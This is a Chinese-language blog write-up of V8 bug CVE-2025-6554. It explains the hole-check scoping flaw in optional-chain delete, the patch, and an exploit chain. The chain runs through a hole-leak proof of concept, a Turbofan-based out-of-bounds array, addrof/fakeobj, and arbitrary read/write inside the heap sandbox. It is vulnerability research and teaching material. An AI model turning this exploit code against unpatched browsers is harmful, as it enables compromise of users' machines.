CVE-2025-6554分析

zhaojunqi Lv2

CVE-2025-6554

Commit:609a85c2a1bd77d6f6905369f4bc4fcf34c5db09

目录:

Background Knowledge: TDZ

Background Knowledge: operator ?.

Background Knowledge: hole

Proof of concepts

Where is the hole

Background Knowledge: hole_check_bitmap

Root Cause Analysis

Patch diff Analysis

Inconsistent array range analysis

Constructing OOB

Constructing exploit primitives

Arbitrary address read/write primitives in Sandbox

Background Knowledge: TDZ

暂时性死区(TDZ)指的是:

​ 在代码块内,使用let或const声明的变量,在声明语句之前就被访问时,JavaScript会抛出ReferenceError异常,而不是返回undefined

示例1:

1
2
3
4
5
function test(){
console.log(a); // ReferenceError: // Cannot access 'a' before initialization
let a=10;
}
test();

执行逻辑:

1.JS引擎会在编译阶段发现let a;

2.它会为a创建绑定,但不会像var那样赋初值

3.进入该块作用域后,a已存在但未初始化

4.当执行到console.log(a)时,因为a还没被初始化,所以处于TDZ,进而抛出error

示例2:

1
2
3
4
5
function test(){
    console.log(a);  // undefine
    var a=10;
}
test();

var声明的变量会:

1.在作用域顶部变量提升

2.自动初始化为undefined

3.因此不会出现TDZ

Background Knowledge: operator ?.

示例1:

1
2
3
let obj ={ inner: { val: 42 } };
delete obj?.inner?.val; //删除成功 返回true
console.log(obj.inner.var);   //undefine

执行流程:

1.计算 obj?.inner?.val

2.若在访问链中,任何 ?. 前的值为 null 或 undefined,则delete表达式立即返回 ‘true’。例如当 obj.inner 为 null 时,表达式将变为 delete undefined.val,随后返回 true。

3.否则执行常规删除逻辑

示例1等价于:

1
2
3
4
if (obj == null) return true;   
if (obj.inner == null)
return true;
return delete obj.inner.val;

注:

  1. 可选链式操作符是一种安全的访问运算符

  2. 当发生短路时,它不会抛出 TypeError 异常

  3. 删除操作仅适用于属性访问,无法删除使用 let 或 const 声明的变量

Background Knowledge: hole

‘the hole’ 是 V8 内部使用的特殊哨兵值,并非常规 JavaScript 对象。它表示变量或数组元素处于“未初始化”或“空”状态:

  1. 例如,在 TDZ 期间未为 ‘let’/’const’ 分配值
  2. 或稀疏数组中实际未存储元素的位置。

运行时访问hole将触发运行时错误或检查逻辑。

Proof of concepts:

1
2
3
4
5
6
7
8
9
10
11
function leak_hole(){
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
function pwn(){
    let hole = leak_hole();
    % DebugPrint(hole);
}
pwn();

若我们假设不存在漏洞来分析:

let y出现在return y之后,执行到deletey处于临时数据区(TDZ)状态。因此会抛出ReferenceError异常,函数终止,return y未被执行,故乍看之下y似乎未被赋值。

实际情况:

然而实际情况是由于处理x?.[y].a时的漏洞,导致此时return y返回了一个hole

用–print-bytecode参数运行JS脚本打印出来的leak_hole函数的字节码:

1.将y变量的值hole赋值到虚拟寄存器r1中

2.将x变量的值undefined赋值到r2中

3.判断x是否为undefined或者null,如果是,则跳转到第25行

4.lda 操作完以后没有经过检查就直接返回hole

Background Knowledge: hole_check_bitmap_:

hole_check_bitmap的定义点:

hole_ckeck_bitmap_ 变量为BytecodeGenerator类中用于记录一个作用域里的变量是否已经完成了hole检测。

位图中每一位表示一个变量是否已经执行过hole检查

HoleCheckElisionScope类的定义:

该函数用来管理hole_ckeck_bitmap_ 的生命周期

效果:

每次进入一个新的作用域时创建新的空bitmap

离开作用域时恢复之前的bitmap

确保hole检查状态只在当前作用域生效,防止状态泄露到别的作用域

hole_check_bitmap的典型操作流程:

当变量被第一次访问时:

1.调用 BuildThrowIfHole函数生成 ThrowReferenceErrorIfHole字节码并在生成以后调用 RememberHoleCheckInCurrentBlock 函数,将把该变量的已检查情况记录在当前作用域的bitmap中。

之后在同一作用域内再次访问该变量时:

  1. VariableNeedsHoleCheckInCurrentBlock返回false
  2. 跳过对该变量的hole检查。

Root Cause Analysis

1
2
3
4
5
6
7
8
9
10
11
function leak_hole(){
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn(){
let hole = leak_hole();
% DebugPrint(hole);
}
pwn();

VisitDelete()中处理delete x?.[y]?.a(可选链表达式)时,未创建新的HoleCheckElisionScope

因此,BuildThrowIfHole(y)在父级作用域的hole_check_bitmap中标记了“y已检查”

当执行到return y时,仍沿用父级的bitmap,误以为y已经经过了hole检查

return y时跳过hole检查直接返回了hole

Patch Diff Analysis

已移除内容: 函数BuildOptionalChain()中移除了临时对象HoleCheckElisionScope elider(this);

新增内容: 在OptionalChainNullLabelScope类的构造函数初始化列表中 添加了成员 hole_check_scope_(bytecode_generator)。

Patch 总结:

VisitDelete中对于Optionchain的操作没有创建HoleCheckElisionScope类,所以patch中在OptionChainNullLabelScope的构造函数中加入了hole_check_scopeHoleCheckElisionScope 类的对象),使可选链拥有独立hole检查作用域,修复了VisitDeletehole检查外泄的问题。

Inconsistent range analysis -> Constructing OOB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function hax(trigger) {
    let x;
    delete x?.[y]?.a;
    let hole = y;
    let y;
    let o = {};
    o.maybe_hole = trigger ? hole : "not the hole";  //both:  (Hole | HeapConstant)
    let len = o.maybe_hole.length;                   //infer: (0, 535870888), actual: (-524289, 535870888)
    let sign = Math.sign(len);                       //infer: (0, 1),         actual: (-1, -1)
    let i1 = 2 - (sign + 1);                         //infer: (0, 1),         actual: (0,  0)
    let i2 = 5 - (i1 + 4) >> 1;                      //infer: (0, 0),         actual: (-1, -1)
    let i3 = 1 * i2 + 1;                             //infer: (1, 1),         actual: (0,  0)
    let i4 = i3 * 100;                               //infer: (100, 100),     actual: (0, 0)
         
    let arr = new Array(8);                          //array 8 elements      
    arr[0] = 13.37;                                
    arr[i4] = 13.37;                          
    return arr;
}
%PrepareFunctionForOptimization(hax);
let normal = hax(false);
%DebugPrint(normal);
%OptimizeFunctionOnNextCall(hax);
let corrupted = hax(true);
%DebugPrint(corrupted);

解释:

在训练的过程中,Feedback Vector已经被固定为了对string类型的优化路径信息

在对o.maybe_hole的length访问时,Turbofan首先会生成CheckString节点用o.maybe_hole的属性定义方式会把CheckString节点替换成TypeGuard节点,最终turbofan中的TypeGuard中的节点不会转换成TurboShaft中的任意子节点

所以对hole的访问路径直接走了对于string的优化路径

string的路径解析下,hole.length的值是一个负数,但是编译器误以为是一个正整数。

构造数组范围分析不一致,最后编译器认为i4只有可能是100,但是实际是0

最终效果:

由于新长度值时基于错误的索引范围信息计算得出的,因此用索引0向数组写入数据。数组容量扩展逻辑被跳过,但数组长度仍然更新为101,因此获得了可用于执行越界相对读写的corrupted数组对象

为什么跳过了扩容逻辑却改变了length的大小?

这是turboshaft的某一阶段的IR状态:

上述IR状态的简化版描述:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BLOCK B28:
cmp index, length (index < capacity?)
Branch → [B30 (true), B29 (false)]

BLOCK B29: // Exceeding capacity-> expand capacity. Call GrowFastElements
Goto B31

BLOCK B30: // less than capacity->skip expand capacity
Goto B31

MERGE B31:
Store *(#arr + 12) = #Constant(101) // length = 101
Store element
Return

真实的执行流:

实际 index = 0

capacity = 8

条件 index < capacity 成立

→ 跳入 B30

→ 没有执行扩容

→ 但跳转合并到 B31,仍执行 Store *(arr+12)=101 修改了length

Constructing exploit primitives

addrof原语构造:

总结:

利用Heap FengShui,经过调试,使得corrupted[14]和victim[0]地址相同,所以用corrupted数组写corrupted[14](double形式),用

victim[0]读出就是fakeobj原语,同理即可构造addrof原语。

Arbitrary address read/write primitives in Sandbox:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var arr1=[i2f(0x0004ccf5,0x000000725),i2f(0x000000725,0x00008000)];
var arr1_addr = addrof(arr1);
var fake_arr = fakeobj(arr1_addr+0x24);

function ArbitraryRead64(addr){ // int32
       arr1[1] = i2f(addr-0x8+0x1,0x000000725);
       return f2b(fake_arr[0]);
}

function ArbitraryWrite64(addr, value){ //int32, Bigint
       arr1[1] = i2f(addr-0x8+0x1,0x000000725);
       fake_arr[0] = b2f(value);
       return true;
}

用伪造对象的方式实现任意地址读写(在之前的v8 exploit level 3中有详细解释,用的是同一思路)

先运行一遍js脚本取出v8内部正确的map值(上述的0x0004ccf5),再用伪造对象的方式实现任意地址读写原语的构建

对象的内存布局示意图:

至此,可完成v8 HeapSandbox内的任意地址读写 !

Reference

  1. https://zhuanlan.zhihu.com/p/1933101353829381194
  2. https://chromium.googlesource.com/v8/v8.git/+/22e9d9621de58ec6fe6581b56215059a48451b9f%5E%21/#F0
  3. https://github.com/mistymntncop/CVE-2025-6554/blob/main/exploit.js
  • Title: CVE-2025-6554分析
  • Author: zhaojunqi
  • Created at : 2025-11-16 12:13:46
  • Updated at : 2025-11-16 12:48:47
  • Link: https://redefine.ohevan.com/2025/11/16/CVE-2025-6554分析/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments